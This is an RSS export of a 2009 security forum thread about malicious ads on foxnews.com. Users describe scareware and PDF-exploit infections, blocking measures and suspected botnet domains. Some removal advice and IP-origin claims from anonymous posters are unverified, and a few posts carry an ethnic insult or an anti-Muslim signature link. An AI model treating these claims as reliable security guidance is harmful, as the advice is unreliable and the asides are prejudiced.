<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0" xmlns:blogChannel="http://backend.userland.com/blogChannelModule">

<channel>
<title>foxnews.com infected? in Security</title>
<link>http://www.dslreports.com/forum/r22225362</link>
<description></description>
<language>en</language>
<pubDate>Wed, 10 Feb 2010 10:32:57 EDT</pubDate>
<lastBuildDate>Wed, 10 Feb 2010 10:32:57 EDT</lastBuildDate>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22367178</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I got similar infection from DrudgeReport.com (on 2 different occasions);  All IPs traced back to Ukraine.<br><br>Please note people - you may think you removed it, but really did not.  Malwarebytes and others do not detect Rootkits.  You should run ROOTKITREVEALER.  I thought I had cleaned this, and I had really not.  There was  a deep and nasty rootkit involved here.  Only way to remove was to boot off a Windows CD, and delete hidden drivers.  I would be willing to bet that half the people think they clean this stuff and its not really clean.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22367178</guid>
<pubDate>Sun, 10 May 2009 12:53:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22343323</link>
<description><![CDATA[<A HREF="/useremail/u/1640095"><b>karateckie</b></A> : <div class="bquote"><small>said by  Doctor Four <A HREF="/useremail/u/197199"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Although this sounds like a simple answer, it is really a case of throwing the baby out with the bathwater. And malvertisements aren't solely found on music streaming sites or those owned by Rupert Murdoch. <br><br>Any site that uses an advertiser which accepts an ad campaign on short notice without doing some investigation into the ad buyers can get hit by this; Google's Doubleclick ad network, one of the largest, got hit last year sometime.<br></div>I agree with you Doctor. I know of a few sites with similar issues lately (there was a recent article I found...from early April...about the same issue with Yahoo). It's interesting about the playlist.com thing. I use that site and will have to keep an eye on it. Anyway, we have a very large network where it would be a nightmare to migrate everyone to Firefox and train them to use no script. While I use the same setup at home and on my computers at work, it's not a viable solution in our environment.<br><br>However blocking ads is a great solution! Unfortunately, we are in the middle of working out how to block them (we used to block them through our web filtering provider..which has changed). They new web filtering provider can't/won't block ads. I suppose it's the nature of the provider, being a free service they advertise on their sites and thus don't want to provide ad blocking. Other options are hosts files (but maintaining them in a large network...ugh), not to mention sending Dequests to 127.0.0.1 take awhile to time out, and if put in a DNS server can seriously cripple it with many clients.<br><br>Anyway...the end result is for the time being, Fox News is blocked. We haven't seen issues from other sites at this point, and eventually it will be unblocked.<br><br>I think the real issue lies in the websites who allow advertising on their site. They need to take some responsibility in what they are displaying, whether it comes from their own servers or not. The end result is that Fox, Yahoo, Google and others are being poorly represented when someone browses to what they believe should be a solid, and trusted site, only to get a virus. Companies need to demand accountability from the ad providers that pay them to display ads.<br><br>In the meantime...to minimize risks we'll block any site that we have issues with, as well as research better alternative to blocking ads :)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22343323</guid>
<pubDate>Tue, 05 May 2009 15:06:28 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22334835</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : <div class="bquote"><small>said by  fatness <A HREF="/useremail/u/243195"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>At least 2 people did earlier in this thread:<br><br>&raquo;<A HREF="/forum/r22225362-foxnewscom-infected~start=60">foxnews.com infected?</A><br>&raquo;<A HREF="/forum/r22261812-">Re: foxnews.com infected?</A><br><br>Like you said, memory is the first thing to go. ;)<br> </div>ahhh shaddup you old monkey.  :D :D<br><small>--<br><b><i>You can chain my body to the earth, but still my spirit flies!</i><br> <br><A HREF="http://www.thereligionofpeace.com/">13,143 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22334835</guid>
<pubDate>Sun, 03 May 2009 21:59:47 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22334755</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : At least 2 people did earlier in this thread:<br><br>&raquo;<A HREF="/forum/r22225362-foxnewscom-infected~start=60">foxnews.com infected?</A><br>&raquo;<A HREF="/forum/r22261812-">Re: foxnews.com infected?</A><br><br>Like you said, memory is the first thing to go. ;)<br><small>--<br><A HREF="http://www.dslreports.com/r0/download/1370721~74256f2b8b4b5b881ae82d211fa2c6ad/couch.jpg">goodbye dad</a></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22334755</guid>
<pubDate>Sun, 03 May 2009 21:43:43 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22334218</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : So after all of this, is the site still infected? Did anyone let them know there was a problem?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22334218</guid>
<pubDate>Sun, 03 May 2009 19:28:24 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22334126</link>
<description><![CDATA[<A HREF="/useremail/u/197199"><b>Doctor Four</b></A> : <div class="bquote"><small>said by  karateckie <A HREF="/useremail/u/1640095"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Just a note to add:<br>We've had several users at our company affected by this same issue. Before today there were 3, and now as of today there were 2 more. This prompted us to temporarily block foxnews.com. Though we know the issue is not limited to Fox nor is it directly the fault of foxnews.com, all of our virus issues in the last week and a half have come from browsing to this site. Hours spent solving virus problems + ease of blocking Fox = no more foxnews.com.<br> </div>Something similar happened last week at our company, though not with foxnews.com. There was a malvertisement at playlist.com (a music streaming site, I believe), which infected or attempted to infect several users. As a result, streaming audio sites are banned until IT can find a way to block the malicious ads that are hijacking users.<br><br>Although this sounds like a simple answer, it is really a case of throwing the baby out with the bathwater. And malvertisements aren't solely found on music streaming sites or those owned by Rupert Murdoch. <br><br>Any site that uses an advertiser which accepts an ad campaign on short notice without doing some investigation into the ad buyers can get hit by this; Google's Doubleclick ad network, one of the largest, got hit last year sometime.<br><br>A better solution is using Firefox with a hosts file and NoScript. I do this on my home PC, and while I have encountered attempts at getting redirected by malvertisements, they have never succeeded due to that combination. The redirect usually ends up on a blank page.<br><small>--<br>"The trouble with computers, of course, is that they are very sophisticated idiots." - Doctor Who (from Robot)<br></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22334126</guid>
<pubDate>Sun, 03 May 2009 19:03:58 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22328967</link>
<description><![CDATA[<A HREF="/useremail/u/910278"><b>Oleg</b></A> : For those who got hit does it affects Firefox with adbock plus or just IE? ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22328967</guid>
<pubDate>Sat, 02 May 2009 12:12:07 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22327555</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : my mom recently played a video on fox news and soon after a virus installed itself onto our comp. my security center says it was from the ip 72.95.109.11(Malaysia)... she was watching a vid about teens hijacking a car. i dont know the direct link but when i searched the ip in wich  where the trojan came from i found this forum...leve my IP alone you mean malasians!!!!!]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22327555</guid>
<pubDate>Fri, 01 May 2009 23:54:51 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22303291</link>
<description><![CDATA[<A HREF="/useremail/u/1640095"><b>karateckie</b></A> : Just a note to add:<br>We've had several users at our company affected by this same issue. Before today there were 3, and now as of today there were 2 more. This prompted us to temporarily block foxnews.com. Though we know the issue is not limited to Fox nor is it directly the fault of foxnews.com, all of our virus issues in the last week and a half have come from browsing to this site. Hours spent solving virus problems + ease of blocking Fox = no more foxnews.com.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22303291</guid>
<pubDate>Mon, 27 Apr 2009 15:50:17 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22298614</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : Interesting report on the norton.com forums, which has a link back to this thread. <A HREF="http://community.norton.com/norton/board/message?board.id=nis_feedback&message.id=48418">A poster stated</a> that while on this foxnews.com page yesterday 04/24: &raquo;<A HREF="http://www.foxnews.com/story/0,2933,517738,00.html" >www.foxnews.com/story/0,2933,517738,00.html</A> they then clicked the link to the full story at UK site of The Sun newspaper: >http://www.thesun.co.uk/sol/homepage/news/article2389814.ece?OTC-RSS&ATTR=News (several of the same adservers as foxnews.com), and Norton immediately flagged a bloodhound.pdf.10 virus. This will be dificult to duplicate because it depends on the rotating adds, probably flash, and the user config.<br><br>Though not a direct foxnews.com vector, the interesting issue is that the attempt matches a pdf exploit that  mysec <A HREF="/useremail/u/1295721"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> documented in an earlier post. <br><br>I believe that this multiple opportunistic format, utilizing exploited adds on high traffic sites, will become an epidemic. Apparently it has not been established, or at least published, whether they are pushed by rogue advertisers within the system, or are from hacked exploited flash adds. There is no doubt that there are several ongoing campaigns to create massive botnets of infected machines. Though I posted the socks C&C for a global inventory of hijacked PCs "Socksps.ru", which was located on the call home IP of the pdf exploit that  mysec <A HREF="/useremail/u/1295721"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> posted, the second of the three domains located there "stopgam.cn" is labeled "BOT" and also has a login:<br><br>[att=1]<br><br>See: &raquo;<A HREF="http://www.google.com/search?q=trojan.alupko&hl=en&safe=active&sa=2" >www.google.com/search?q=trojan.a&middot;&middot;&middot;ive&sa=2</A><br><br>Incidentally, just mentioning the mere existence of "Socksps.ru" and its purpose, is a violation of their stated Rules / TOS.<br><br>[att=2]<br><br>MGD<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=2 WIDTH=66%><A HREF="/speak/slideshow/22298614?c=1423433&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="13850 bytes" BORDER=0 WIDTH=368 HEIGHT=361 SRC="/r0/download/1423433~ff91827bf5c53515ee0e0afc5ca7b9f2/stopgam_cn_login.jpg"></A></TD><TD ALIGN=CENTER BGCOLOR=#FFFFFF nowrap width=1%>&nbsp;</TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22298614?c=1423434&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="69510 bytes" WIDTH=600 HEIGHT=353 SRC="/r0/download/1423434.thumb600~0691592aee594587a7e1b2cb6272369b/socksps.ru_rules1.jpg/thumb.jpg" ALT="Click for full size"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22298614</guid>
<pubDate>Sun, 26 Apr 2009 15:04:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22292178</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : <div class="bquote"><small>said by  fatness <A HREF="/useremail/u/243195"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Oops. Thank you for catching that. <br> </div>It's ok, I know the eyes aren't what they used to be.  :D<br><small>--<br><b>1/20/09 The Beginning of the End<br> <br><A HREF="http://www.thereligionofpeace.com/">13,100 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22292178</guid>
<pubDate>Fri, 24 Apr 2009 20:51:26 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22290276</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I am interested in removal, the infection runs pretty deep.  I am sitting here in safe mode xp_sp3.  I can delete the rundll references in regedit (hklm/sw/m/cv/run/), hit refresh and they appear again.  To me that says one of the main windows components is infected.  Could this lead to lsas being compromised?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22290276</guid>
<pubDate>Fri, 24 Apr 2009 14:09:50 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22289441</link>
<description><![CDATA[<A HREF="/useremail/u/1595212"><b>Bill G</b></A> : My parents PC was infested by this. It actually caused it to crash. Thankfully I was able to recover all of their files using Ghost. <br><br>Nasty thing.<br><br>I did combofix as well as Malwarebytes but honestly, the thing just crashed when I tried to run Superantispyware which they always work magically for me. not this time.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22289441</guid>
<pubDate>Fri, 24 Apr 2009 11:28:22 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22288446</link>
<description><![CDATA[<A HREF="/useremail/u/1638174"><b>jadedkisses</b></A> : Thank you secured655!  I appreciate your time.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22288446</guid>
<pubDate>Fri, 24 Apr 2009 05:54:21 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22288046</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  Graycode <A HREF="/useremail/u/1350120"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>..Why no mention of <b>adsonar.com</b> ?  The foxnews pages are splattered with scripting for them.  Their script <b>www<i>.</i>foxnews.com/js/adsonar.js</b> is one that injects <b>iframe</b>s into the pages being viewed.  Foxnews also includes script hxxp://js.adsonar.com/js/adsonar.js and references ads.adsonar.com<br><br>I happen to block things from adsonar.com and they're also included in MVPS and HP_HOSTS.<br> </div>Indeed, adsonar references are all over the fox pages.<br><br>adsonar lists Foxnews.com as one of the locations they have access to advertise on <A HREF="http://www.quigo.com">adsonar aka quigo.com</a>   Maybe the relationship is something other than a third part vendor. <br><br>MGD]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22288046</guid>
<pubDate>Fri, 24 Apr 2009 01:04:32 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22288008</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  La Luna <A HREF="/useremail/u/429050"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Whether it's been cleaned up today, I don't know.<br> </div>I have been monitoring random pages on foxnews on and off since early on 04/21, and have not experienced any incidence of the malware. Not a testimonial that it is clean, though I have not seen any other reports of malware either during that time.<br><br>MGD]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22288008</guid>
<pubDate>Fri, 24 Apr 2009 00:48:44 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22287768</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : Oops. Thank you for catching that. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22287768</guid>
<pubDate>Thu, 23 Apr 2009 23:26:39 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22287179</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : <div class="bquote"><small>said by  fatness <A HREF="/useremail/u/243195"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>....The article says Fox got rid of it.<br>  <blockquote><small>quote:</small><hr>............a brief analysis of the campaign which now appears to have been removed by FoxNews. <hr></blockquote><br><br> </div>That article was posted on 4/15...I think we know from this thread that the problem was still going on even in the last day or two. <br><br>Whether it's been cleaned up today, I don't know.<br><small>--<br><b>1/20/09 The Beginning of the End<br> <br><A HREF="http://www.thereligionofpeace.com/">13,100 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22287179</guid>
<pubDate>Thu, 23 Apr 2009 21:24:39 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22286594</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : jadedkisses, I'm no expert, but I'll try to answer your questions. <br><br>1. It's called scareware because, the infection scheme is to trick the unwary user into enabling the malware to get into his/her machine by scaring them with an message that appears legit. It informs them of bogus problems found on their computer. Click 'here' to fix this problem. That click leads to a successful infection of the computer.<br>What can happen varies, from a simple browser homepage hijack to worse. Usually the scheme wants the user to buy some bogus security software, which is usually malware as well.<br>2. Hard to say where your trojans came from. One helpful tool for updating all of your SW is secunia PSI available here:<br>&raquo;<A HREF="http://secunia.com/vulnerability_scanning/personal/" >secunia.com/vulnerability_scanning/personal/</A> <br>Java seems to be a special case where updating to current version will not remove older vulnerable version(s). They need to be removed via add remove programs.<br>3. Real experts have posted on this thread and given me sufficient reason to block foxnews.com in avast.<br>Until a consensus (here) shows the site to be clean, the block remains (FWIW, this is a personal choice, others should do as they are comfortable with). Based on reports it seems that major news sites (CNN etc) seem to be experiencing these problems more frequently, so apply caution when visiting these sites.<br>A little OT, but I hope helpful.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22286594</guid>
<pubDate>Thu, 23 Apr 2009 19:28:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22286237</link>
<description><![CDATA[<A HREF="/useremail/u/465540"><b>acid343211</b></A> : <div class="bquote"><small>said by  fatness <A HREF="/useremail/u/243195"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>The article says Fox got rid of it.<br>  <blockquote><small>quote:</small><hr>............a brief analysis of the campaign which now appears to have been removed by FoxNews. <hr></blockquote><br><br> </div>Fatness,I think people need to still be careful of that site i won't trust it.<br><small>--<br>Visit-<br>www.liveleak.com/view?i=e32_1231680425</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22286237</guid>
<pubDate>Thu, 23 Apr 2009 18:17:12 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22282664</link>
<description><![CDATA[<A HREF="/useremail/u/1638174"><b>jadedkisses</b></A> : I am a novice and would like to ask some questions if I may.  I was on Foxnews and had the popup appear days ago.  I didn't click on anything.  I was just reading the front page (Foxnews.com)<br><br>1. Do they call it scareware because it just scares you and nothing can happen?<br><br>2.  I posted my hijack log in Security Cleanup and I had some trojans? in Java.  Would this have come from that popup on Fox?  Or I picked it up somewhere else? [My Java was not up to date]<br><br>3.  I've read this whole thread, those links (and the znet one) and it's all gibberish to me.  I know that article states fox got rid of the virus (or whatever it's called) but have you brave folks checked it out yourselves?  I would like to go there but want to be sure it's gone.<br><br>Thanks so much for your time.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22282664</guid>
<pubDate>Thu, 23 Apr 2009 01:12:32 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22279238</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : Thanks for posting that. Here's the direct link to the story: &raquo;<A HREF="http://blogs.zdnet.com/security/?p=3140" >blogs.zdnet.com/security/?p=3140</A><br>Apparently it was reported on other sites as well as this one.<br><br>&raquo;<A HREF="http://whiskeyfire.typepad.com/whiskey_fire/2009/04/warning-antivirus-2009-ad-on-fox-news-site.html" >whiskeyfire.typepad.com/whiskey_&middot;&middot;&middot;ite.html</A><br>&raquo;<A HREF="http://www.wilderssecurity.com/showthread.php?p=1444510" >www.wilderssecurity.com/showthre&middot;&middot;&middot;=1444510</A><br><br>The article says Fox got rid of it.<br> <blockquote><small>quote:</small><hr>............a brief analysis of the campaign which now appears to have been removed by FoxNews. <hr></blockquote><br><small>--<br><A HREF="http://www.dslreports.com/r0/download/1370721~74256f2b8b4b5b881ae82d211fa2c6ad/couch.jpg">goodbye dad</a></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22279238</guid>
<pubDate>Wed, 22 Apr 2009 14:09:06 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22275424</link>
<description><![CDATA[<A HREF="/useremail/u/1625341"><b>tdrake2175ds</b></A> : There was a story on ZDNet about Fox News being hit by malvertising ads:<br><br>&raquo;<A HREF="http://updates.zdnet.com/tags/malvertising.html" >updates.zdnet.com/tags/malvertising.html</A>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22275424</guid>
<pubDate>Tue, 21 Apr 2009 21:12:34 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22274609</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : When running Vista with UAC off and IE sandbox off, can surfing foxnews infect the system directly, with no clicks on the banner window? I am patched up to a month ago. With Firefox?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22274609</guid>
<pubDate>Tue, 21 Apr 2009 18:50:54 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22272190</link>
<description><![CDATA[<A HREF="/useremail/u/1350120"><b>Graycode</b></A> : <div class="bquote"><small>said by  MGD <A HREF="/useremail/u/666842"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Foxnews.com offers a comprehensive list of advertiser options: &raquo;<A HREF="http://advertise.foxnews.com/creative-specs/" >advertise.foxnews.com/creative-specs/</A> and also the following Approved Third Party Vendors:<br><br>Atlas<br>Doubleclick<br>Eyeblaster<br>Eyewonder<br>Klipmart<br>Pointroll<br>Unicast<br>Zedo<br><br>Ref: &raquo;<A HREF="http://advertise.foxnews.com/creative-specs/third-party-vendors/" >advertise.foxnews.com/creative-s&middot;&middot;&middot;vendors/</A><br> </div>Why no mention of <b>adsonar.com</b> ?  The foxnews pages are splattered with scripting for them.  Their script <b>www<i>.</i>foxnews.com/js/adsonar.js</b> is one that injects <b>iframe</b>s into the pages being viewed.  Foxnews also includes script hxxp://js.adsonar.com/js/adsonar.js and references ads.adsonar.com<br><br>I happen to block things from adsonar.com and they're also included in MVPS and HP_HOSTS.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22272190</guid>
<pubDate>Tue, 21 Apr 2009 12:13:13 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22271850</link>
<description><![CDATA[<A HREF="/useremail/u/1295721"><b>mysec</b></A> : <div class="bquote"><small>said by  planet <A HREF="/useremail/u/510041"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>  <blockquote><small>quote:</small><hr>1) Scripting disabled. (Javascript, not Java).<hr></blockquote><br><br>Wow, so in this case scripting is disabled. I thought javascript would be needed.</div><br>Ooops - a booboo - that should be reversed, of course! Thanks for noticing that!<br><br>Javascript is required, and with it disabled, <b>none</b> of those exploits at Foxnews work.<br><br>Sorry for the confusion. I changed that in my post.<br><br><div class="bquote"><small>said by  planet <A HREF="/useremail/u/510041"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>So, if the pdf loads in the browser window, then a software FW configured properly should request permission for adobe to access the net, is this correct? </div><br>That is correct.<br><br><div class="bquote"><small>said by  planet <A HREF="/useremail/u/510041"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>And, what if you are using the latest adobe reader, 9.1, is this exploit still possible? </div><br>No, nor are any of the exploits against IE possible if patched.<br><br>The problem, of course, is that many exploits go unpatched for a while after they are released in the wild. The recent PDF exploit, if you remember: it was several weeks before a patch was released.<br><br>Patching, updating, are certainly preventative measures. Someone mentioned using a Hosts file. The important thing is that everyone understand what they are protecting against and insure that their security setup provides appropriate preventative measures. <br><br>This is not always easy because often advisories about a new exploit don't give a lot of information, so you have to do some research.<br><br><div class="bquote"><small>said by  Sentinel <A HREF="/useremail/u/307353"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>I have Firefox with NoScript and I also don't have Adobe PDF Reader installed on my PC at all. I also have KPF but it does not register anything trying to get in or out. </div><br>This exploit works only against the PDF reader, so even if the PDF file loaded in the browser, nothing would happen without the Adobe Reader being installed.<br><br>You may remember the most recent PDF exploit used some type of image rendering engine in the Adobe Reader. Foxit also uses something similar and there was concern amongst Foxit readers that they might be vulnerable. Foxit support insured users on their forum that Foxit uses a different engine and was not susceptible to the current exploit. <br><br>----<br>rich]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22271850</guid>
<pubDate>Tue, 21 Apr 2009 11:10:31 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22271329</link>
<description><![CDATA[<A HREF="/useremail/u/307353"><b>Sentinel</b></A> : I wonder if this could be another thing I am doing that blocks this behavior.<br><br>I have Firefox with NoScript and I also don't have Adobe PDF Reader installed on my PC at all. I also have KPF but it does not register anything trying to get in or out.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22271329</guid>
<pubDate>Tue, 21 Apr 2009 09:39:35 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22271026</link>
<description><![CDATA[<A HREF="/useremail/u/510041"><b>planet</b></A> :  <blockquote><small>quote:</small><hr>1) Scripting disabled. (Javascript, not Java).<br><br>If I enable Javascript in Firefox's Options and in Opera's Preferences, nothing happens: this exploit (and the WinAntiVirus exploit) fails at this point.<hr></blockquote><br>Wow, so in this case scripting is disabled. I thought javascript would be needed.<br><br>So, if the pdf loads in the browser window, then a software FW configured properly should request permission for adobe to access the net, is this correct? <br><br>And, what if you are using the latest adobe reader, 9.1, is this exploit still possible?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22271026</guid>
<pubDate>Tue, 21 Apr 2009 08:25:00 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22270715</link>
<description><![CDATA[<A HREF="/useremail/u/1295721"><b>mysec</b></A> : <div class="bquote"><small>said by Comment by Anita in VA   :</small><br><br> April 18th, 2009 at 6:52 am <br>Good morning fellow bloggers&#150;<br><br>I have a quick question&#150;have any of you experience, when first accessing the Greenroom Blog, a Windows Explorer popup windows, saying you need to run a virus scan on your computer?...<br><br>jimmy/all&#150;yes, that was actually the FakeAlert Trojan&#150;<br><br>other bloggers&#150;if you also got that popup, run a REAL virus scan of your computer, <br><b><br>even if you X&#146;d out of it. You&#146;re probably now infected with the FakeAvAlert Trojan </b><br></div><br>This is just <b>wrong</b> since it's pretty much agreed that the user/victim has to click in the download box to get the trojan onto the system. <br><br>Am I interpreting correctly her statement? If so, how misleading and unnecessarily fear-provoking such a statement is for her readers.<br><br>This notion came up last year when new exploits of WinAntiVirus surfaced, and in a long thread, <b> bcastner <A HREF="/useremail/u/693977"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A></b> made it clear that this is not a drive-by download exploit.<br><br>Much has been written and commented on concerning the much feared drive-by download. From my viewpoint, these types of  exploits are very easy to prevent when proper security is in place. Most of the time they need to bypass several security measures before achieving success.<br><br>By the way, the term "drive-by" limits the exploits to web sites. Notice that Microsoft uses the more comprehensive phrase, "Remote Code Execution:"<br><br>&raquo;<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS09-014.mspx" >www.microsoft.com/technet/securi&middot;&middot;&middot;014.mspx</A><br><div class="bquote">The vulnerabilities could allow remote code execution if a user <b>views a specially crafted Web page</b> using Internet Explorer</div><br>&raquo;<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS09-009.mspx" >www.microsoft.com/technet/securi&middot;&middot;&middot;009.mspx</A><br><div class="bquote">The vulnerabilities could allow remote code execution if the user <b>opens a specially crafted Excel file</b>.</div><br>In both cases, malicious code executes "remotely" - automatically.<br><br>PDF exploits in the wild fall into both categories:<br> <br><blockquote><br>&#8226;the one on the Fox News site 